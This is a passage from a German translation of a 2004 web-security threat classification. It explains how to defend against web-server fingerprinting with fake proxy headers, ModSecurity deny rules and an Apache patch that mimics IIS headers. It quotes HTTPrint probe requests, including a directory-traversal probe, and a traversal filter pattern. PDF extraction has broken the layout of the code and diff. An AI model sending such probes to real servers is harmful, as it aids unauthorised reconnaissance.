Vary: negotiate,accept-language,accept-charset
775
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
TCN: choice
Via: 1.1 squid.proxy.companyx.com (Squid/2.4.STABLE6)
X-Cache: MISS from www.nonexistenthost.com
Content-Length: 2673
Connection: close
Das täuscht vor, dass wir einen Squid-Proxy-Server benutzen und die
Daten von einem nicht-existierenden Server kommen. Dies kann den
Angreifer dazu verleiten, Squid-Exploits gegen unseren Apache-Server
auszuführen, was natürlich nicht erfolgreich sein wird, oder der im XCache-Header angegeben Rechner wird angegriffen, der gar nicht
existiert.
Installation von Third-Party-Web-Security-Tools
Durch Installation zusätzlicher Web-Security-Applications oder Tools,
wie ModSecurity oder ServerMask, ist es möglich entweder WebserverFingerprinting-Tools (wie z. B. HTTPrint) zu unterbrechen, oder zu
vereiteln. Wie im Beispielabschnitt oben beschrieben, prüfen diese
Tools das Ziel mit vielen unterschiedlichen Requests, um eine
bestimmte Response zu erhalten. Unten sind einige der abnormalen
Requests, die HTTPrint dem Webserver sendet:
192.168.139.101 - - [08/Jun/2004:11:21:40 -0400] "JUNKMETHOD /
HTTP/1.0" 501 344 "-" "-"
192.168.139.101 - - [08/Jun/2004:11:21:40 -0400] "GET /
JUNK/1.0" 400 381 "-" "-"
192.168.139.101 - - [08/Jun/2004:11:21:40 -0400] "get /
HTTP/1.0" 501 330 "-" "-"
192.168.139.101 - - [08/Jun/2004:11:21:40 -0400] "GET /
HTTP/0.8" 200 1456 "-" "-"
192.168.139.101 - - [08/Jun/2004:11:21:40 -0400] "GET /
HTTP/1.2" 200 1456 "-" "-"
192.168.139.101 - - [08/Jun/2004:11:21:40 -0400] "GET /
HTTP/3.0" 200 1456 "-" "-"
785
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
192.168.139.101 - - [08/Jun/2004:11:21:40 -0400] "GET /../../
HTTP/1.0" 400 344 "-" "-"
Wenn wir ein Tool wie ModSecurity für Apache verwenden, können wir
HTTP-RFC-konforme Filter bauen, die auf solche abnormale Requests
reagieren. Hier sind einige Einträge in der httpd.conf für ModSecurity:
# This will return a 403 - Forbidden Status Code for all
Mod_Security actions
SecFilterDefaultAction "deny,log,status:403"
# This will deny directory traversals
SecFilter "\.\./"
# This entry forces compliance of the request method.
requests that do NOT
# start with either GET|HEAD|POST will be denied.
catch/trigger on
Any
This will
# junk methods.
SecFilterSelective THE_REQUEST "!^(GET|HEAD|POST)"
# This entry will force HTTP compliance to the end portion of
the request. If
# the request does NOT end with a valid HTTP version, then it
will be denied.
SecFilterSelective THE_REQUEST "!HTTP\/(0\.9|1\.0|1\.1)$"
Quellcode-Änderung
Das ist die schwierigste, aber auch wirksamste Aufgabe für
Fingerprinting-Gegenmaßnahmen. Das Risiko und der Erfolg hängen im
Wesentlichen von den Programmierkenntnissen und der WebArchitektur ab. Diese Aufgabe beinhaltet das Ändern der Sourcecodes
des Webservers vor der Kompilierung, oder das Ändern der Binärfiles
795
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
mit einem entsprechenden Editor.
Für Open-Source-Webservers wie Apache ist diese Aufgabe wesentlich
einfacher, da der Sourcecode vorhanden ist.
Reihenfolge Header – Unten ist ein Patch für den Sourcecode des
Apache 1.3.29, der die Reihenfolge von Date und Server und die
Ausgabe der OPTIONS-Methode für den IIS simuliert. Dieser Patch
ändert die Datei http_protocol.c im Verzeichnis
/apache_1.3.29/src/main. Der Abschnitt zu OPTIONS liefert Header, die
normalerweise einer IIS-Response zugeordnet werden. Das beinhaltet
den Public, DASL, DAV und Cache-Control Header.
--- http_protocol.c.orig
+++ http_protocol.c
Mon Apr 26 02:11:58 2004
Mon Apr 26 02:43:31 2004
@@ -1597,9 +1597,6 @@
/* output the HTTP/1.x Status-Line */
ap_rvputs(r, protocol, " ", r->status_line, CRLF, NULL);
-
/* output the date header */
ap_send_header_field(r, "Date", ap_gm_timestr_822(r->pool,
r->request_time));
/* keep the set-by-proxy server header, otherwise
* generate a new server header */
if (r->proxyreq) {
@@ -1612,6 +1609,9 @@
ap_send_header_field(r, "Server",
ap_get_server_version());
}
+
/* output the date header */
+
ap_send_header_field(r, "Date", ap_gm_timestr_822(r->pool,
r->request_time));
805
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
+
/* unset so we don't send them again */
ap_table_unset(r->headers_out, "Date");
bogosity */
/* Avoid
ap_table_unset(r->headers_out, "Server");
@@ -1716,7 +1716,9 @@
ap_basic_http_header(r);
ap_table_setn(r->headers_out, "Content-Length", "0");
+
ap_table_setn(r->headers_out, "Public", "OPTIONS, TRACE,
GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND,
PROPPATCH, LOCK, UNLOCK, SEARCH");
ap_table_setn(r->headers_out, "Allow", make_allow(r));
+
ap_table_setn(r->headers_out, "Cache-Control", "private");
ap_set_keepalive(r);
ap_table_do((int (*) (void *, const char *, const char *))
ap_send_header_field,
Referenzen
„An Introduction to HTTP fingerprinting”
http://net-square.com/httprint/httprint_paper.html
„Hypertext Transfer Protocol – HTTP/1.1”
http://www.cis.ohio-state.edu/cgi-bin/rfc/rfc2068.html#sec-14.39
„HMAP: A Technique and Tool for Remote Identification of HTTP
Servers”
http://seclab.cs.ucdavis.edu/papers/hmap-thesis.pdf
„Identifying Web Servers: A first-look into Web Server Fingerprinting”
http://www.blackhat.com/presentations/bh-asia-02/bh-asia-02grossman.pdf
815
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
„Mask Your Web Server for Enhanced Security”
http://www.port80software.com/support/articles/maskyourwebserver
„Web Intrusion Detection and Prevention”
http://www.modsecurity.org
„IIS LockDown Tool 2.1”
http://www.microsoft.com/downloads/details.aspx?FamilyID=DDE9EFC
0-BB30-47EB-9A61-FD755D23CDEC&displaylang=en
„URLScan Tool”
http://www.microsoft.com/downloads/details.aspx?FamilyID=f4c5a724cafa-4e88-8c37-c9d5abed1863&DisplayLang=en
„ServerMask Tool”
http://www.port80software.com/products/servermask/
Glossar
















application Anwendung
attack
Angriff
attacker
Angreifer
authentication
Authentifizierung, Beglaubigung
authorization
Authensisierung, Berechtigung erteilen
authority Autorität, Kontrollstelle (-behörde)
brute force „mit roher Gewalt”
buffer overflow Pufferüberlauf
cipher
Chiffre
certificate Zertifikat
decode
dekodieren, (auch entschlüsseln)
decrypt
entschlüsseln
encode
kodieren, (auch verschlüsseln)
encrypt
verschlüsseln
enumeration
Aufzählung
file extension
Datei-Extension, Dateinamenserweiterung
825
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten









fixation
Bindung, Fixierung
fraud
Betrug, erschleichen
hash
Prüfsumme
hijacking Entführung
replay
Wiederholung
script
Skript
security
Sicherheit, Sicherung
spoofing Verschleierung (im Sinne von fälschen)
thread
(Faden, Gewinde) in der IT ein Teilprozess im
Gegensatz zum eigenständigen Prozess
 threat
Bedrohung
 user
Benutzer, Anwender
 vulnerability
Schwachstelle
3 Gebräuchliche Abkürzungen
















CA
CGI
CSRF
CVE
DoS
HTTP
HTML
ID
MiTM
OWASP
SSL
URI
URL
WAF
WAS
WAS-TC
Certificate Authority
Common Gateway Interface
Cross-site Request Forgery
Common Vulnerability E...
Denial of Service
Hyper Text Transfer Protocol
Hyper Text Markup Language
Identifier
Man in the Middle
Open Web Application Security Project
Secure Socket Layer
Uniform Resource Identifier
Uniform Resource Locator
Web Application Firewall
Web Application Security
Web Application Security Threat Classification
835
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
XSS Cross-site ScriptingLizenz
Diese Arbeit steht unter der Creative Commons Attribution License. Die
Lizenz findet man unter http://creativecommons.org/licenses/by/2.5/
oder schreiben Sie an: Creative Commons, 559 Nathan Abbott Way,
Stanford, California 94305, USA.
845
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
Herunterladen